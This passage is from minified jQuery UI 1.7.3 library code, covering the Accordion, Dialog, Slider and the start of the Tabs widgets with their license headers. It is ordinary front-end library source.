*")},j=this.headers.index(this.active[0])>this.headers.index(g[0]);this.active=i?a([]):g;this._toggle(c,h,e,i,j);return false},_toggle:function(b,i,g,j,k){var d=this.options,m=this;this.toShow=b;this.toHide=i;this.data=g;var c=function(){if(!m){return}return m._completed.apply(m,arguments)};this._trigger("changestart",null,this.data);this.running=i.size()===0?b.size():i.size();if(d.animated){var f={};if(d.collapsible&&j){f={toShow:a([]),toHide:i,complete:c,down:k,autoHeight:d.autoHeight||d.fillSpace}}else{f={toShow:b,toHide:i,complete:c,down:k,autoHeight:d.autoHeight||d.fillSpace}}if(!d.proxied){d.proxied=d.animated}if(!d.proxiedDuration){d.proxiedDuration=d.duration}d.animated=a.isFunction(d.proxied)?d.proxied(f):d.proxied;d.duration=a.isFunction(d.proxiedDuration)?d.proxiedDuration(f):d.proxiedDuration;var l=a.ui.accordion.animations,e=d.duration,h=d.animated;if(!l[h]){l[h]=function(n){this.slide(n,{easing:h,duration:e||700})}}l[h](f)}else{if(d.collapsible&&j){b.toggle()}else{i.hide();b.show()}c(true)}i.prev().attr("aria-expanded","false").attr("tabIndex","-1").blur();b.prev().attr("aria-expanded","true").attr("tabIndex","0").focus()},_completed:function(b){var c=this.options;this.running=b?0:--this.running;if(this.running){return}if(c.clearStyle){this.toShow.add(this.toHide).css({height:"",overflow:""})}this._trigger("change",null,this.data)}});a.extend(a.ui.accordion,{version:"1.7.3",defaults:{active:null,alwaysOpen:true,animated:"slide",autoHeight:true,clearStyle:false,collapsible:false,event:"click",fillSpace:false,header:"> li > :first-child,> :not(li):even",icons:{header:"ui-icon-triangle-1-e",headerSelected:"ui-icon-triangle-1-s"},navigation:false,navigationFilter:function(){return this.href.toLowerCase()==location.href.toLowerCase()}},animations:{slide:function(j,h){j=a.extend({easing:"swing",duration:300},j,h);if(!j.toHide.size()){j.toShow.animate({height:"show"},j);return}if(!j.toShow.size()){j.toHide.animate({height:"hide"},j);return}var c=j.toShow.css("overflow"),g,d={},f={},e=["height","paddingTop","paddingBottom"],b;var i=j.toShow;b=i[0].style.width;i.width(parseInt(i.parent().width(),10)-parseInt(i.css("paddingLeft"),10)-parseInt(i.css("paddingRight"),10)-(parseInt(i.css("borderLeftWidth"),10)||0)-(parseInt(i.css("borderRightWidth"),10)||0));a.each(e,function(k,m){f[m]="hide";var l=(""+a.css(j.toShow[0],m)).match(/^([\d+-.]+)(.*)$/);d[m]={value:l[1],unit:l[2]||"px"}});j.toShow.css({height:0,overflow:"hidden"}).show();j.toHide.filter(":hidden").each(j.complete).end().filter(":visible").animate(f,{step:function(k,l){if(l.prop=="height"){g=(l.now-l.start)/(l.end-l.start)}j.toShow[0].style[l.prop]=(g*d[l.prop].value)+d[l.prop].unit},duration:j.duration,easing:j.easing,complete:function(){if(!j.autoHeight){j.toShow.css("height","")}j.toShow.css("width",b);j.toShow.css({overflow:c});j.complete()}})},bounceslide:function(b){this.slide(b,{easing:b.down?"easeOutBounce":"swing",duration:b.down?1000:200})},easeslide:function(b){this.slide(b,{easing:"easeinout",duration:700})}}})})(jQuery);;/*
 * jQuery UI Dialog 1.7.3
 *
 * Copyright (c) 2009 AUTHORS.txt (http://jqueryui.com/about)
 * Dual licensed under the MIT (MIT-LICENSE.txt)
 * and GPL (GPL-LICENSE.txt) licenses.
 *
 * http://docs.jquery.com/UI/Dialog
 *
 * Depends:
 *	ui.core.js
 *	ui.draggable.js
 *	ui.resizable.js
 */(function(c){var b={dragStart:"start.draggable",drag:"drag.draggable",dragStop:"stop.draggable",maxHeight:"maxHeight.resizable",minHeight:"minHeight.resizable",maxWidth:"maxWidth.resizable",minWidth:"minWidth.resizable",resizeStart:"start.resizable",resize:"drag.resizable",resizeStop:"stop.resizable"},a="ui-dialog ui-widget ui-widget-content ui-corner-all ";c.widget("ui.dialog",{_init:function(){this.originalTitle=this.element.attr("title");var l=this,m=this.options,j=m.title||this.originalTitle||"&nbsp;",e=c.ui.dialog.getTitleId(this.element),k=(this.uiDialog=c("<div/>")).appendTo(document.body).hide().addClass(a+m.dialogClass).css({position:"absolute",overflow:"hidden",zIndex:m.zIndex}).attr("tabIndex",-1).css("outline",0).keydown(function(n){(m.closeOnEscape&&n.keyCode&&n.keyCode==c.ui.keyCode.ESCAPE&&l.close(n))}).attr({role:"dialog","aria-labelledby":e}).mousedown(function(n){l.moveToTop(false,n)}),g=this.element.show().removeAttr("title").addClass("ui-dialog-content ui-widget-content").appendTo(k),f=(this.uiDialogTitlebar=c("<div></div>")).addClass("ui-dialog-titlebar ui-widget-header ui-corner-all ui-helper-clearfix").prependTo(k),i=c('<a href="#"/>').addClass("ui-dialog-titlebar-close ui-corner-all").attr("role","button").hover(function(){i.addClass("ui-state-hover")},function(){i.removeClass("ui-state-hover")}).focus(function(){i.addClass("ui-state-focus")}).blur(function(){i.removeClass("ui-state-focus")}).mousedown(function(n){n.stopPropagation()}).click(function(n){l.close(n);return false}).appendTo(f),h=(this.uiDialogTitlebarCloseText=c("<span/>")).addClass("ui-icon ui-icon-closethick").text(m.closeText).appendTo(i),d=c("<span/>").addClass("ui-dialog-title").attr("id",e).html(j).prependTo(f);f.find("*").add(f).disableSelection();(m.draggable&&c.fn.draggable&&this._makeDraggable());(m.resizable&&c.fn.resizable&&this._makeResizable());this._createButtons(m.buttons);this._isOpen=false;(m.bgiframe&&c.fn.bgiframe&&k.bgiframe());(m.autoOpen&&this.open())},destroy:function(){(this.overlay&&this.overlay.destroy());this.uiDialog.hide();this.element.unbind(".dialog").removeData("dialog").removeClass("ui-dialog-content ui-widget-content").hide().appendTo("body");this.uiDialog.remove();(this.originalTitle&&this.element.attr("title",this.originalTitle))},close:function(f){var d=this;if(false===d._trigger("beforeclose",f)){return}(d.overlay&&d.overlay.destroy());d.uiDialog.unbind("keypress.ui-dialog");(d.options.hide?d.uiDialog.hide(d.options.hide,function(){d._trigger("close",f)}):d.uiDialog.hide()&&d._trigger("close",f));c.ui.dialog.overlay.resize();d._isOpen=false;if(d.options.modal){var e=0;c(".ui-dialog").each(function(){if(this!=d.uiDialog[0]){e=Math.max(e,c(this).css("z-index"))}});c.ui.dialog.maxZ=e}},isOpen:function(){return this._isOpen},moveToTop:function(f,e){if((this.options.modal&&!f)||(!this.options.stack&&!this.options.modal)){return this._trigger("focus",e)}if(this.options.zIndex>c.ui.dialog.maxZ){c.ui.dialog.maxZ=this.options.zIndex}(this.overlay&&this.overlay.$el.css("z-index",c.ui.dialog.overlay.maxZ=++c.ui.dialog.maxZ));var d={scrollTop:this.element.attr("scrollTop"),scrollLeft:this.element.attr("scrollLeft")};this.uiDialog.css("z-index",++c.ui.dialog.maxZ);this.element.attr(d);this._trigger("focus",e)},open:function(){if(this._isOpen){return}var e=this.options,d=this.uiDialog;this.overlay=e.modal?new c.ui.dialog.overlay(this):null;(d.next().length&&d.appendTo("body"));this._size();this._position(e.position);d.show(e.show);this.moveToTop(true);(e.modal&&d.bind("keypress.ui-dialog",function(h){if(h.keyCode!=c.ui.keyCode.TAB){return}var g=c(":tabbable",this),i=g.filter(":first")[0],f=g.filter(":last")[0];if(h.target==f&&!h.shiftKey){setTimeout(function(){i.focus()},1)}else{if(h.target==i&&h.shiftKey){setTimeout(function(){f.focus()},1)}}}));c([]).add(d.find(".ui-dialog-content :tabbable:first")).add(d.find(".ui-dialog-buttonpane :tabbable:first")).add(d).filter(":first").focus();this._trigger("open");this._isOpen=true},_createButtons:function(g){var f=this,d=false,e=c("<div></div>").addClass("ui-dialog-buttonpane ui-widget-content ui-helper-clearfix");this.uiDialog.find(".ui-dialog-buttonpane").remove();(typeof g=="object"&&g!==null&&c.each(g,function(){return !(d=true)}));if(d){c.each(g,function(h,i){c('<button type="button"></button>').addClass("ui-state-default ui-corner-all").text(h).click(function(){i.apply(f.element[0],arguments)}).hover(function(){c(this).addClass("ui-state-hover")},function(){c(this).removeClass("ui-state-hover")}).focus(function(){c(this).addClass("ui-state-focus")}).blur(function(){c(this).removeClass("ui-state-focus")}).appendTo(e)});e.appendTo(this.uiDialog)}},_makeDraggable:function(){var d=this,f=this.options,e;this.uiDialog.draggable({cancel:".ui-dialog-content",handle:".ui-dialog-titlebar",containment:"document",start:function(){e=f.height;c(this).height(c(this).height()).addClass("ui-dialog-dragging");(f.dragStart&&f.dragStart.apply(d.element[0],arguments))},drag:function(){(f.drag&&f.drag.apply(d.element[0],arguments))},stop:function(){c(this).removeClass("ui-dialog-dragging").height(e);(f.dragStop&&f.dragStop.apply(d.element[0],arguments));c.ui.dialog.overlay.resize()}})},_makeResizable:function(g){g=(g===undefined?this.options.resizable:g);var d=this,f=this.options,e=typeof g=="string"?g:"n,e,s,w,se,sw,ne,nw";this.uiDialog.resizable({cancel:".ui-dialog-content",alsoResize:this.element,maxWidth:f.maxWidth,maxHeight:f.maxHeight,minWidth:f.minWidth,minHeight:f.minHeight,start:function(){c(this).addClass("ui-dialog-resizing");(f.resizeStart&&f.resizeStart.apply(d.element[0],arguments))},resize:function(){(f.resize&&f.resize.apply(d.element[0],arguments))},handles:e,stop:function(){c(this).removeClass("ui-dialog-resizing");f.height=c(this).height();f.width=c(this).width();(f.resizeStop&&f.resizeStop.apply(d.element[0],arguments));c.ui.dialog.overlay.resize()}}).find(".ui-resizable-se").addClass("ui-icon ui-icon-grip-diagonal-se")},_position:function(i){var e=c(window),f=c(document),g=f.scrollTop(),d=f.scrollLeft(),h=g;if(c.inArray(i,["center","top","right","bottom","left"])>=0){i=[i=="right"||i=="left"?i:"center",i=="top"||i=="bottom"?i:"middle"]}if(i.constructor!=Array){i=["center","middle"]}if(i[0].constructor==Number){d+=i[0]}else{switch(i[0]){case"left":d+=0;break;case"right":d+=e.width()-this.uiDialog.outerWidth();break;default:case"center":d+=(e.width()-this.uiDialog.outerWidth())/2}}if(i[1].constructor==Number){g+=i[1]}else{switch(i[1]){case"top":g+=0;break;case"bottom":g+=e.height()-this.uiDialog.outerHeight();break;default:case"middle":g+=(e.height()-this.uiDialog.outerHeight())/2}}g=Math.max(g,h);this.uiDialog.css({top:g,left:d})},_setData:function(e,f){(b[e]&&this.uiDialog.data(b[e],f));switch(e){case"buttons":this._createButtons(f);break;case"closeText":this.uiDialogTitlebarCloseText.text(f);break;case"dialogClass":this.uiDialog.removeClass(this.options.dialogClass).addClass(a+f);break;case"draggable":(f?this._makeDraggable():this.uiDialog.draggable("destroy"));break;case"height":this.uiDialog.height(f);break;case"position":this._position(f);break;case"resizable":var d=this.uiDialog,g=this.uiDialog.is(":data(resizable)");(g&&!f&&d.resizable("destroy"));(g&&typeof f=="string"&&d.resizable("option","handles",f));(g||this._makeResizable(f));break;case"title":c(".ui-dialog-title",this.uiDialogTitlebar).html(f||"&nbsp;");break;case"width":this.uiDialog.width(f);break}c.widget.prototype._setData.apply(this,arguments)},_size:function(){var e=this.options;this.element.css({height:0,minHeight:0,width:"auto"});var d=this.uiDialog.css({height:"auto",width:e.width}).height();this.element.css({minHeight:Math.max(e.minHeight-d,0),height:e.height=="auto"?"auto":Math.max(e.height-d,0)})}});c.extend(c.ui.dialog,{version:"1.7.3",defaults:{autoOpen:true,bgiframe:false,buttons:{},closeOnEscape:true,closeText:"close",dialogClass:"",draggable:true,hide:null,height:"auto",maxHeight:false,maxWidth:false,minHeight:150,minWidth:150,modal:false,position:"center",resizable:true,show:null,stack:true,title:"",width:300,zIndex:1000},getter:"isOpen",uuid:0,maxZ:0,getTitleId:function(d){return"ui-dialog-title-"+(d.attr("id")||++this.uuid)},overlay:function(d){this.$el=c.ui.dialog.overlay.create(d)}});c.extend(c.ui.dialog.overlay,{instances:[],maxZ:0,events:c.map("focus,mousedown,mouseup,keydown,keypress,click".split(","),function(d){return d+".dialog-overlay"}).join(" "),create:function(e){if(this.instances.length===0){setTimeout(function(){if(c.ui.dialog.overlay.instances.length){c(document).bind(c.ui.dialog.overlay.events,function(f){var g=c(f.target).parents(".ui-dialog").css("zIndex")||0;return(g>c.ui.dialog.overlay.maxZ)})}},1);c(document).bind("keydown.dialog-overlay",function(f){(e.options.closeOnEscape&&f.keyCode&&f.keyCode==c.ui.keyCode.ESCAPE&&e.close(f))});c(window).bind("resize.dialog-overlay",c.ui.dialog.overlay.resize)}var d=c("<div></div>").appendTo(document.body).addClass("ui-widget-overlay").css({width:this.width(),height:this.height()});(e.options.bgiframe&&c.fn.bgiframe&&d.bgiframe());this.instances.push(d);return d},destroy:function(d){this.instances.splice(c.inArray(this.instances,d),1);if(this.instances.length===0){c([document,window]).unbind(".dialog-overlay")}d.remove();var e=0;c.each(this.instances,function(){e=Math.max(e,this.css("z-index"))});this.maxZ=e},height:function(){if(c.browser.msie&&c.browser.version<7){var e=Math.max(document.documentElement.scrollHeight,document.body.scrollHeight);var d=Math.max(document.documentElement.offsetHeight,document.body.offsetHeight);if(e<d){return c(window).height()+"px"}else{return e+"px"}}else{return c(document).height()+"px"}},width:function(){if(c.browser.msie&&c.browser.version<7){var d=Math.max(document.documentElement.scrollWidth,document.body.scrollWidth);var e=Math.max(document.documentElement.offsetWidth,document.body.offsetWidth);if(d<e){return c(window).width()+"px"}else{return d+"px"}}else{return c(document).width()+"px"}},resize:function(){var d=c([]);c.each(c.ui.dialog.overlay.instances,function(){d=d.add(this)});d.css({width:0,height:0}).css({width:c.ui.dialog.overlay.width(),height:c.ui.dialog.overlay.height()})}});c.extend(c.ui.dialog.overlay.prototype,{destroy:function(){c.ui.dialog.overlay.destroy(this.$el)}})})(jQuery);;/*
 * jQuery UI Slider 1.7.3
 *
 * Copyright (c) 2009 AUTHORS.txt (http://jqueryui.com/about)
 * Dual licensed under the MIT (MIT-LICENSE.txt)
 * and GPL (GPL-LICENSE.txt) licenses.
 *
 * http://docs.jquery.com/UI/Slider
 *
 * Depends:
 *	ui.core.js
 */(function(a){a.widget("ui.slider",a.extend({},a.ui.mouse,{_init:function(){var b=this,c=this.options;this._keySliding=false;this._handleIndex=null;this._detectOrientation();this._mouseInit();this.element.addClass("ui-slider ui-slider-"+this.orientation+" ui-widget ui-widget-content ui-corner-all");this.range=a([]);if(c.range){if(c.range===true){this.range=a("<div></div>");if(!c.values){c.values=[this._valueMin(),this._valueMin()]}if(c.values.length&&c.values.length!=2){c.values=[c.values[0],c.values[0]]}}else{this.range=a("<div></div>")}this.range.appendTo(this.element).addClass("ui-slider-range");if(c.range=="min"||c.range=="max"){this.range.addClass("ui-slider-range-"+c.range)}this.range.addClass("ui-widget-header")}if(a(".ui-slider-handle",this.element).length==0){a('<a href="#"></a>').appendTo(this.element).addClass("ui-slider-handle")}if(c.values&&c.values.length){while(a(".ui-slider-handle",this.element).length<c.values.length){a('<a href="#"></a>').appendTo(this.element).addClass("ui-slider-handle")}}this.handles=a(".ui-slider-handle",this.element).addClass("ui-state-default ui-corner-all");this.handle=this.handles.eq(0);this.handles.add(this.range).filter("a").click(function(d){d.preventDefault()}).hover(function(){if(!c.disabled){a(this).addClass("ui-state-hover")}},function(){a(this).removeClass("ui-state-hover")}).focus(function(){if(!c.disabled){a(".ui-slider .ui-state-focus").removeClass("ui-state-focus");a(this).addClass("ui-state-focus")}else{a(this).blur()}}).blur(function(){a(this).removeClass("ui-state-focus")});this.handles.each(function(d){a(this).data("index.ui-slider-handle",d)});this.handles.keydown(function(i){var f=true;var e=a(this).data("index.ui-slider-handle");if(b.options.disabled){return}switch(i.keyCode){case a.ui.keyCode.HOME:case a.ui.keyCode.END:case a.ui.keyCode.UP:case a.ui.keyCode.RIGHT:case a.ui.keyCode.DOWN:case a.ui.keyCode.LEFT:f=false;if(!b._keySliding){b._keySliding=true;a(this).addClass("ui-state-active");b._start(i,e)}break}var g,d,h=b._step();if(b.options.values&&b.options.values.length){g=d=b.values(e)}else{g=d=b.value()}switch(i.keyCode){case a.ui.keyCode.HOME:d=b._valueMin();break;case a.ui.keyCode.END:d=b._valueMax();break;case a.ui.keyCode.UP:case a.ui.keyCode.RIGHT:if(g==b._valueMax()){return}d=g+h;break;case a.ui.keyCode.DOWN:case a.ui.keyCode.LEFT:if(g==b._valueMin()){return}d=g-h;break}b._slide(i,e,d);return f}).keyup(function(e){var d=a(this).data("index.ui-slider-handle");if(b._keySliding){b._stop(e,d);b._change(e,d);b._keySliding=false;a(this).removeClass("ui-state-active")}});this._refreshValue()},destroy:function(){this.handles.remove();this.range.remove();this.element.removeClass("ui-slider ui-slider-horizontal ui-slider-vertical ui-slider-disabled ui-widget ui-widget-content ui-corner-all").removeData("slider").unbind(".slider");this._mouseDestroy()},_mouseCapture:function(d){var e=this.options;if(e.disabled){return false}this.elementSize={width:this.element.outerWidth(),height:this.element.outerHeight()};this.elementOffset=this.element.offset();var h={x:d.pageX,y:d.pageY};var j=this._normValueFromMouse(h);var c=this._valueMax()-this._valueMin()+1,f;var k=this,i;this.handles.each(function(l){var m=Math.abs(j-k.values(l));if(c>m){c=m;f=a(this);i=l}});if(e.range==true&&this.values(1)==e.min){f=a(this.handles[++i])}this._start(d,i);k._handleIndex=i;f.addClass("ui-state-active").focus();var g=f.offset();var b=!a(d.target).parents().andSelf().is(".ui-slider-handle");this._clickOffset=b?{left:0,top:0}:{left:d.pageX-g.left-(f.width()/2),top:d.pageY-g.top-(f.height()/2)-(parseInt(f.css("borderTopWidth"),10)||0)-(parseInt(f.css("borderBottomWidth"),10)||0)+(parseInt(f.css("marginTop"),10)||0)};j=this._normValueFromMouse(h);this._slide(d,i,j);return true},_mouseStart:function(b){return true},_mouseDrag:function(d){var b={x:d.pageX,y:d.pageY};var c=this._normValueFromMouse(b);this._slide(d,this._handleIndex,c);return false},_mouseStop:function(b){this.handles.removeClass("ui-state-active");this._stop(b,this._handleIndex);this._change(b,this._handleIndex);this._handleIndex=null;this._clickOffset=null;return false},_detectOrientation:function(){this.orientation=this.options.orientation=="vertical"?"vertical":"horizontal"},_normValueFromMouse:function(d){var c,h;if("horizontal"==this.orientation){c=this.elementSize.width;h=d.x-this.elementOffset.left-(this._clickOffset?this._clickOffset.left:0)}else{c=this.elementSize.height;h=d.y-this.elementOffset.top-(this._clickOffset?this._clickOffset.top:0)}var f=(h/c);if(f>1){f=1}if(f<0){f=0}if("vertical"==this.orientation){f=1-f}var e=this._valueMax()-this._valueMin(),i=f*e,b=i%this.options.step,g=this._valueMin()+i-b;if(b>(this.options.step/2)){g+=this.options.step}return parseFloat(g.toFixed(5))},_start:function(d,c){var b={handle:this.handles[c],value:this.value()};if(this.options.values&&this.options.values.length){b.value=this.values(c);b.values=this.values()}this._trigger("start",d,b)},_slide:function(f,e,d){var g=this.handles[e];if(this.options.values&&this.options.values.length){var b=this.values(e?0:1);if((this.options.values.length==2&&this.options.range===true)&&((e==0&&d>b)||(e==1&&d<b))){d=b}if(d!=this.values(e)){var c=this.values();c[e]=d;var h=this._trigger("slide",f,{handle:this.handles[e],value:d,values:c});var b=this.values(e?0:1);if(h!==false){this.values(e,d,(f.type=="mousedown"&&this.options.animate),true)}}}else{if(d!=this.value()){var h=this._trigger("slide",f,{handle:this.handles[e],value:d});if(h!==false){this._setData("value",d,(f.type=="mousedown"&&this.options.animate))}}}},_stop:function(d,c){var b={handle:this.handles[c],value:this.value()};if(this.options.values&&this.options.values.length){b.value=this.values(c);b.values=this.values()}this._trigger("stop",d,b)},_change:function(d,c){var b={handle:this.handles[c],value:this.value()};if(this.options.values&&this.options.values.length){b.value=this.values(c);b.values=this.values()}this._trigger("change",d,b)},value:function(b){if(arguments.length){this._setData("value",b);this._change(null,0)}return this._value()},values:function(b,e,c,d){if(arguments.length>1){this.options.values[b]=e;this._refreshValue(c);if(!d){this._change(null,b)}}if(arguments.length){if(this.options.values&&this.options.values.length){return this._values(b)}else{return this.value()}}else{return this._values()}},_setData:function(b,d,c){a.widget.prototype._setData.apply(this,arguments);switch(b){case"disabled":if(d){this.handles.filter(".ui-state-focus").blur();this.handles.removeClass("ui-state-hover");this.handles.attr("disabled","disabled")}else{this.handles.removeAttr("disabled")}case"orientation":this._detectOrientation();this.element.removeClass("ui-slider-horizontal ui-slider-vertical").addClass("ui-slider-"+this.orientation);this._refreshValue(c);break;case"value":this._refreshValue(c);break}},_step:function(){var b=this.options.step;return b},_value:function(){var b=this.options.value;if(b<this._valueMin()){b=this._valueMin()}if(b>this._valueMax()){b=this._valueMax()}return b},_values:function(b){if(arguments.length){var c=this.options.values[b];if(c<this._valueMin()){c=this._valueMin()}if(c>this._valueMax()){c=this._valueMax()}return c}else{return this.options.values}},_valueMin:function(){var b=this.options.min;return b},_valueMax:function(){var b=this.options.max;return b},_refreshValue:function(c){var f=this.options.range,d=this.options,l=this;if(this.options.values&&this.options.values.length){var i,h;this.handles.each(function(p,n){var o=(l.values(p)-l._valueMin())/(l._valueMax()-l._valueMin())*100;var m={};m[l.orientation=="horizontal"?"left":"bottom"]=o+"%";a(this).stop(1,1)[c?"animate":"css"](m,d.animate);if(l.options.range===true){if(l.orientation=="horizontal"){(p==0)&&l.range.stop(1,1)[c?"animate":"css"]({left:o+"%"},d.animate);(p==1)&&l.range[c?"animate":"css"]({width:(o-lastValPercent)+"%"},{queue:false,duration:d.animate})}else{(p==0)&&l.range.stop(1,1)[c?"animate":"css"]({bottom:(o)+"%"},d.animate);(p==1)&&l.range[c?"animate":"css"]({height:(o-lastValPercent)+"%"},{queue:false,duration:d.animate})}}lastValPercent=o})}else{var j=this.value(),g=this._valueMin(),k=this._valueMax(),e=k!=g?(j-g)/(k-g)*100:0;var b={};b[l.orientation=="horizontal"?"left":"bottom"]=e+"%";this.handle.stop(1,1)[c?"animate":"css"](b,d.animate);(f=="min")&&(this.orientation=="horizontal")&&this.range.stop(1,1)[c?"animate":"css"]({width:e+"%"},d.animate);(f=="max")&&(this.orientation=="horizontal")&&this.range[c?"animate":"css"]({width:(100-e)+"%"},{queue:false,duration:d.animate});(f=="min")&&(this.orientation=="vertical")&&this.range.stop(1,1)[c?"animate":"css"]({height:e+"%"},d.animate);(f=="max")&&(this.orientation=="vertical")&&this.range[c?"animate":"css"]({height:(100-e)+"%"},{queue:false,duration:d.animate})}}}));a.extend(a.ui.slider,{getter:"value values",version:"1.7.3",eventPrefix:"slide",defaults:{animate:false,delay:0,distance:0,max:100,min:0,orientation:"horizontal",range:false,step:1,value:0,values:null}})})(jQuery);;/*
 * jQuery UI Tabs 1.7.3
 *
 * Copyright (c) 2009 AUTHORS.txt (http://jqueryui.com/about)
 * Dual licensed under the MIT (MIT-LICENSE.txt)
 * and GPL (GPL-LICENSE.txt) licenses.
 *
 * http://docs.jquery.com/UI/Tabs
 *
 * Depends:
 *	ui.core.js
 */(function(c){var b=0,a=0;c.widget("ui.tabs",{_init:function(){if(this.options.deselectable!==undefined){this.options.collapsible=this.options.deselectable}this._tabify(true)},_setData:function(d,e){if(d=="selected"){if(this.options.collapsible&&e==this.options.selected){return}this.select(e)}else{this.options[d]=e;if(d=="deselectable"){this.options.collapsible=e}this._tabify()}},_tabId:function(d){return d.title&&d.title.replace(/\s/g,"_").replace(/[^A-Za-z0-9\-_:\.]/g,"")||this.options.idPrefix+(++b)},_sanitizeSelector:function(d){return d.replace(/:/g,"\\:")},_cookie:function(){var d=this.cookie||(this.cookie=this.options.cookie.name||"ui-tabs-"+(++a));return c.cookie.apply(null,[d].concat(c.makeArray(arguments)))},_ui:function(e,d){return{tab:e,panel:d,index:this.anchors.index(e)}},_cleanup:function(){this.lis.filter(".ui-state-processing").removeClass("ui-state-processing").find("span:data(label.tabs)").each(function(){var d=c(this);d.html(d.data("label.tabs")).removeData("label.tabs")})},_tabify:function(q){this.list=this.element.children("ul:first");this.lis=c("li:has(a[href])",this.list);this.anchors=this.lis.map(function(){return c("a",this)[0]});this.panels=c([]);var r=this,f=this.options;var e=/^#.+/;this.anchors.each(function(u,o){var s=c(o).attr("href");var v=s.split("#")[0],w;if(v&&(v===location.toString().split("#")[0]||(w=c("base")[0])&&v===w.href)){s=o.hash;o.href=s}if(e.test(s)){r.panels=r.panels.add(r._sanitizeSelector(s))}else{if(s!="#"){c.data(o,"href.tabs",s);c.data(o,"load.tabs",s.replace(/#.*$/,""));var y=r._tabId(o);o.href="#"+y;var x=c("#"+y);if(!x.length){x=c(f.panelTemplate).attr("id",y).addClass("ui-tabs-panel ui-widget-content ui-corner-bottom").insertAfter(r.panels[u-1]||r.list);x.data("destroy.tabs",true)}r.panels=r.panels.add(x)}else{f.disabled.push(u)}}});if(q){this.element.addClass("ui-tabs ui-widget ui-widget-content ui-corner-all");this.list.addClass("ui-tabs-nav ui-helper-reset ui-helper-clearfix ui-widget-header ui-corner-all");this.lis.addClass("ui-state-default ui-corner-top");this.panels.addClass("ui-tabs-panel ui-widget-content ui-corner-bottom");if(f.selected===undefined){if(location.hash){this.anchors.each(function(s,o){if(o.hash==location.hash){f.selected=s;return false}})}if(typeof f.selected!="number"&&f.cookie){f.selected=parseInt(r._cookie(),10)}if(typeof f.selected!="number"&&this.lis.filter(".ui-tabs-selected").length){f.selected=this.lis.index(this.lis.filter(".ui-tabs-selected"))}f.selected=f.selected||0}else{if(f.selected===null){f.selected=-1}}f.selected=((f.selected>=0&&this.anchors[f.selected])||f.selected<0)?f.selected:0;f.disabled=c.unique(f.disabled.concat(c.map(this.lis.filter(".ui-state-disabled"),function(s,o){return r.lis.index(s)}))).sort();if(c.inArray(f.selected,f.disabled)!=-1){f.disabled.splice(c.inArray(f.selected,f.disabled),1)}this.panels.addClass("ui-tabs-hide");this.lis.removeClass("ui-tabs-selected ui-state-active");if(f.selected>=0&&this.anchors.length){this.panels.eq(f.selected).removeClass("ui-tabs-hide");this.lis.eq(f.selected).addClass("ui-tabs-selected ui-state-active");r.element.queue("tabs",function(){r._trigger("show",null,r._ui(r.anchors[f.selected],r.panels[f.selected]))});this.load(f.selected)}c(window).bind("unload",function(){r.lis.add(r.anchors).unbind(".tabs");r.lis=r.anchors=r.panels=null})}else{f.selected=this.lis.index(this.lis.filter(".ui-tabs-selected"))}this.element[f.collapsible?"addClass":"removeClass"]("ui-tabs-collapsible");if(f.cookie){this._cookie(f.selected,f.cookie)}for(var j=0,p;(p=this.lis[j]);j++){c(p)[c.inArray(j,f.disabled)!=-1&&!c(p).hasClass("ui-tabs-selected")?"addClass":"removeClass"]("ui-state-disabled")}if(f.cache===false){this.anchors.removeData("cache.tabs")}this.lis.add(this.anchors).unbind(".tabs");if(f.event!="mouseover"){var h=function(o,i){if(i.is(":not(.ui-state-disabled)")){i.addClass("ui-state-"+o)}};var l=function(o,i){i.removeClass("ui-state-"+o)};this.lis.bind("mouseover.tabs",function(){h("hover",c(this))});this.lis.bind("mouseout.tabs",function(){l("hover",c(this))});this.anchors.bind("focus.tabs",function(){h("focus",c(this).closest("li"))});this.anchors.bind("blur.tabs",function(){l("focus",c(this).closest("li"))})}var d,k;if(f.fx){if(c.isArray(f.fx)){d=f.fx[0];k=f.fx[1]}else{d=k=f.fx}}function g(i,o){i.css({display:""});if(c.browser.msie&&o.opacity){i[0].style.removeAttribute("filter")}}var m=k?function(i,o){c(i).closest("li").removeClass("ui-state-default").addClass("ui-tabs-selected ui-state-active");o.hide().removeClass("ui-tabs-hide").animate(k,k.duration||"normal",function(){g(o,k);r._trigger("show",null,r._ui(i,o[0]))})}:function(i,o){c(i).closest("li").removeClass("ui-state-default").addClass("ui-tabs-selected ui-state-active");o.removeClass("ui-tabs-hide");r._trigger("show",null,r._ui(i,o[0]))};var n=d?function(o,i){i.animate(d,d.duration||"normal",function(){r.lis.removeClass("ui-tabs-selected ui-state-active").addClass("ui-state-default");i.addClass("ui-tabs-hide");g(i,d);r.element.dequeue("tabs")})}:function(o,i,s){r.lis.removeClass("ui-tabs-selected ui-state-active").addClass("ui-state-default");i.addClass("ui-tabs-hide");r.element.dequeue("tabs")};this.anchors.bind(f.event+".tabs",function(){var o=this,u=c(this).closest("li"),i=r.panels.filter(":not(.ui-tabs-hide)"),s=c(r._sanitizeSelector(this.hash));if((u.hasClass("ui-tabs-selected")&&!f.collapsible)||u.hasClass("ui-state-disabled")||u.hasClass("ui-state-processing")||r._trigger("select",null,r._ui(this,s[0]))===false){this.blur();return false}f.selected=r.anchors.index(this);r.abort();if(f.collapsible){if(u.hasClass("ui-tabs-selected")){f.selected=-1;if(f.cookie){r._cookie(f.selected,f.cookie)}r.element.queue("tabs",function(){n(o,i)}).dequeue("tabs");this.blur();return false}else{if(!i.length){if(f.cookie){r._cookie(f.selected,f.cookie)}r.element.queue("tabs",function(){m(o,s)});r.load(r.anchors.index(this));this.blur();return false}}}if(f.cookie){r._cookie(f.selected,f.cookie)}if(s.length){if(i.length){r.element.queue("tabs",function(){n(o,i)})}r.element.queue("tabs",function(){m(o,s)});r.load(r.anchors.index(this))}else{throw"jQuery UI Tabs: Mismatching fragment identifier."}if(c.browser.msie){this.blur()}});this.anchors.bind("click.tabs",function(){return false})},destroy:function(){var d=this.options;this.abort();this.element.unbind(".tabs").removeClass("ui-tabs ui-widget ui-widget-content ui-corner-all ui-tabs-collapsible").removeData("tabs");this.list.removeClass("ui-tabs-nav ui-helper-reset ui-helper-clearfix ui-widget-header ui-corner-all");this.anchors.each(function(){var e=c.data(this,"href.tabs");if(e){this.href=e}var f=c(this).unbind(".tabs");c.each(["href","load","cache"],function(g,h){f.removeData(h+".tabs")})});this.lis.unbind(".tabs").add(this.panels).each(function(){if(c.data(this,"destroy.tabs")){c(this).remove()}else{c(this).removeClass(["ui-state-default","ui-corner-top","ui-tabs-selected","ui-state-active","ui-state-hover","ui-state-focus","ui-state-disabled","ui-tabs-panel","ui-widget-content","ui-corner-bottom","ui-tabs-hide"].join(" "))}});if(d.cookie){this._cookie(null,d.cookie)}},add:function(g,f,e){if(e===undefined){e=this.anchors.length}var 